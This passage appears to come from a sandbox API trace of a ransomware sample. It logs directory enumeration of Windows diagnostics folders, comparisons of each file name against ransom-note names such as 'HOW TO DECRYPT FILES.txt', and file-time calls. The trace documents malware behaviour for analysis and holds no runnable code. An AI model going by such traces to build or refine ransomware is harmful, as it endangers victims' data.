pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.701] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.701] CloseHandle (hObject=0xffffffff) returned 0 [0126.701] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10c8ac4e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10c8ac4e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7fb8d0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_MultipleUsers.ps1", cAlternateFileName="")) returned 1 [0126.702] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_MultipleUsers.ps1") returned -1 [0126.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_MultipleUsers.ps1") returned -1 [0126.702] lstrcmpiA (lpString1="", lpString2="TS_MultipleUsers.ps1") returned -1 [0126.702] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\TS_MultipleAntivirusProducts.ps1") returned="TS_MultipleAntivirusProducts.ps1" [0126.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.702] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.702] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.702] CloseHandle (hObject=0xffffffff) returned 0 [0126.703] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10cd6f08, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10cd6f08, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7fdee69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x533, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PIOMode.ps1", cAlternateFileName="")) returned 1 [0126.703] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_PIOMode.ps1") returned -1 [0126.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_PIOMode.ps1") returned -1 [0126.703] lstrcmpiA (lpString1="", lpString2="TS_PIOMode.ps1") returned -1 [0126.703] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\TS_MultipleUsers.ps1") returned="TS_MultipleUsers.ps1" [0126.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.703] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.703] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.703] CloseHandle (hObject=0xffffffff) returned 0 [0126.704] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d231c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10d231c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7fdee69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PowerMode.ps1", cAlternateFileName="")) returned 1 [0126.704] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_PowerMode.ps1") returned -1 [0126.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_PowerMode.ps1") returned -1 [0126.704] lstrcmpiA (lpString1="", lpString2="TS_PowerMode.ps1") returned -1 [0126.704] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\TS_PIOMode.ps1") returned="TS_PIOMode.ps1" [0126.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.704] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.704] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.704] CloseHandle (hObject=0xffffffff) returned 0 [0126.705] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d955d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10d955d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8004fc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_SuperFetch.ps1", cAlternateFileName="")) returned 1 [0126.705] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.705] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_SuperFetch.ps1") returned -1 [0126.705] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_SuperFetch.ps1") returned -1 [0126.705] lstrcmpiA (lpString1="", lpString2="TS_SuperFetch.ps1") returned -1 [0126.705] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\TS_PowerMode.ps1") returned="TS_PowerMode.ps1" [0126.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.705] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.718] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.718] CloseHandle (hObject=0xffffffff) returned 0 [0126.719] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10de1893, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10de1893, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8004fc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_TooManyStartupPrograms.ps1", cAlternateFileName="")) returned 1 [0126.719] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.719] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_TooManyStartupPrograms.ps1") returned -1 [0126.719] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_TooManyStartupPrograms.ps1") returned -1 [0126.719] lstrcmpiA (lpString1="", lpString2="TS_TooManyStartupPrograms.ps1") returned -1 [0126.719] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\TS_SuperFetch.ps1") returned="TS_SuperFetch.ps1" [0126.719] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.719] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.719] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.719] CloseHandle (hObject=0xffffffff) returned 0 [0126.720] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e2db4d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10e2db4d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8051283, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_VisualEffects.ps1", cAlternateFileName="")) returned 1 [0126.720] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.720] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_VisualEffects.ps1") returned -1 [0126.720] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_VisualEffects.ps1") returned -1 [0126.720] lstrcmpiA (lpString1="", lpString2="TS_VisualEffects.ps1") returned -1 [0126.720] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\TS_TooManyStartupPrograms.ps1") returned="TS_TooManyStartupPrograms.ps1" [0126.720] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.720] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.720] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.721] CloseHandle (hObject=0xffffffff) returned 0 [0126.721] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e2db4d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10e2db4d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8051283, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_VisualEffects.ps1", cAlternateFileName="")) returned 0 [0126.722] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.722] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Power", cAlternateFileName="")) returned 1 [0126.722] lstrcmpA (lpString1=".", lpString2="Power") returned -1 [0126.722] lstrcmpA (lpString1="..", lpString2="Power") returned -1 [0126.722] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.723] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Power\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.734] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.734] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.734] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.734] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.734] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1197c2e9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1197c2e9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x910fb04c, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x40ee, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.734] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.734] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.734] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.734] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0126.734] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\*.*") returned="*.*" [0126.734] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.734] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.735] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.735] CloseHandle (hObject=0xffffffff) returned 0 [0126.735] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10de1893, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10de1893, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb33910, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.736] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.736] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0126.736] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0126.736] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0126.736] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.736] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.736] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.736] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.736] CloseHandle (hObject=0xffffffff) returned 0 [0126.737] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x230a149c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.737] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.737] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.737] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\DiagPackage.dll") returned="DiagPackage.dll" [0126.737] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Power\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x230a149c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501560, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.755] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.755] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x230a149c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0126.755] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.755] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.756] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.756] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.756] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.756] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.756] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0126.756] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\*.*") returned="*.*" [0126.756] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.756] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.757] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.757] CloseHandle (hObject=0xffffffff) returned 0 [0126.757] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeceddb9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeceddb9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_Troubleshooter.psd1", cAlternateFileName="")) returned 1 [0126.757] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.757] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Power_Troubleshooter.psd1") returned -1 [0126.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Power_Troubleshooter.psd1") returned -1 [0126.757] lstrcmpiA (lpString1="", lpString2="Power_Troubleshooter.psd1") returned -1 [0126.757] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\DiagPackage.dll.mui") returned="DiagPackage.dll.mui" [0126.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.758] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.758] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.758] CloseHandle (hObject=0xffffffff) returned 0 [0126.758] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_AdjustDimDisplay.psd1", cAlternateFileName="")) returned 1 [0126.758] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.758] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_AdjustDimDisplay.psd1") returned -1 [0126.758] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_AdjustDimDisplay.psd1") returned -1 [0126.758] lstrcmpiA (lpString1="", lpString2="RS_AdjustDimDisplay.psd1") returned -1 [0126.758] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\Power_Troubleshooter.psd1") returned="Power_Troubleshooter.psd1" [0126.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.759] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.759] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.759] CloseHandle (hObject=0xffffffff) returned 0 [0126.759] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_AdjustScreenBrightness.psd1", cAlternateFileName="")) returned 1 [0126.759] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.759] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_AdjustScreenBrightness.psd1") returned -1 [0126.759] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_AdjustScreenBrightness.psd1") returned -1 [0126.760] lstrcmpiA (lpString1="", lpString2="RS_AdjustScreenBrightness.psd1") returned -1 [0126.760] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\RS_AdjustDimDisplay.psd1") returned="RS_AdjustDimDisplay.psd1" [0126.760] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" [0126.760] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\en-US\\") returned="" [0126.760] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, 